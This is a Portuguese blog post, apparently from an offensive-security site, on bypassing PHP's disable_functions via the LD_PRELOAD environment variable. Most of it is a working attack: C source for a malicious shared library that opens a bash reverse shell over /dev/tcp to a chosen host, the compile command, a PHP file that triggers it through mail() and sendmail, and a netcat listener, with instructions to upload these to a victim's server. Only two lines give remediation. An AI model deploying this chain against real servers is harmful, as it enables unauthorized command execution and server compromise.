Bypass do disable_functions do PHP utilizando LD_PRELOAD
- Gustavo Viana
- Linux , Programação , Segurança da informação , Segurança ofensiva
- 18 de maio de 2023
Neste post veremos como realizar o bypass do disable_functions do PHP utilizando a variável de ambiente LD_PRELOAD em ambientes Linux!
Lembre-se que para realizar este processo será necessário conseguir realizar upload de arquivos ao webserver!
O que é o disable_functions do PHP?
Antes de tudo, a disable_functions é uma diretiva do PHP que permite desativar funções em tempo de execução. Isso significa que, se uma função estiver listada nesta diretiva, o código PHP em execução não poderá chamá-la ou executá-la.
Normalmente, utiliza-se a disable_functions como medida de segurança para impedir que o código PHP execute funções perigosas capazes de comprometer a segurança do sistema. Por exemplo, funções como exec, system, shell_exec, passthru, popen e proc_open podem permitir a execução de comandos do sistema operacional diretamente a partir do código PHP, o que pode levar a vulnerabilidades de segurança.
O que é a variável de ambiente LD_PRELOAD?
A variável de ambiente LD_PRELOAD do Linux é uma variável utilizada pelo sistema operacional que permite carregar bibliotecas compartilhadas antes das bibliotecas padrão do sistema.
Por exemplo, um programa que foi compilado para usar a biblioteca libc.so pode ser executado com uma versão modificada da biblioteca libc.so usando LD_PRELOAD para carregar a biblioteca modificada antes da biblioteca padrão. Isso permite que o programa use as funções da biblioteca modificada em vez das funções da biblioteca padrão, o que pode ser útil para fins de depuração ou para adicionar funcionalidades extras.
Realizando o bypass
Utilizando a variável de ambiente LD_PRELOAD em conjunto de uma função do PHP que utilize um binário do Linux é possível executar comandos no sistema operacional no contexto do usuário do webserver.
Aqui estão alguns exemplos de funções que utilizam binários: imagick(), mail(), imap_mail(), libvirt_connect(), gnupg_init() e mb_send_mail().
Neste exemplo utilizaremos a função mail() que utiliza o binário sendmail.
Primeiramente, compile o código abaixo (teste.c) para criar a nossa biblioteca chamada teste.so. Lembre-se de alterar o IP 127.0.0.1 e a porta 80 pelo host e porta desejados para receber a reverse shell.
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system("0<&196;exec 196<>/dev/tcp/127.0.0.1/80; bash <&196 >&196 2>&196");
}
Compilando o código acima utilizando gcc:
gcc -shared -fPIC -o teste.so teste.c
Agora basta enviar a nossa lib maliciosa teste.so para o webserver da vítima, bem como o arquivo PHP abaixo:
<?php
putenv("LD_PRELOAD=/caminho/completo/do/teste.so");
mail("a","b","c","d");
?>
Por fim, será necessário utilizar netcat para escutar na porta 80 aguardando a reverse shell e enviar uma request para o arquivo PHP que foi enviado ao webserver:
nc -lvnp 80
Recomendações de correção
- Adicionar a função putenv() no disable_functions
- Desabilitar funções do PHP que não estejam em uso e utilizem binários, como mail() e mb_send_mail()
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !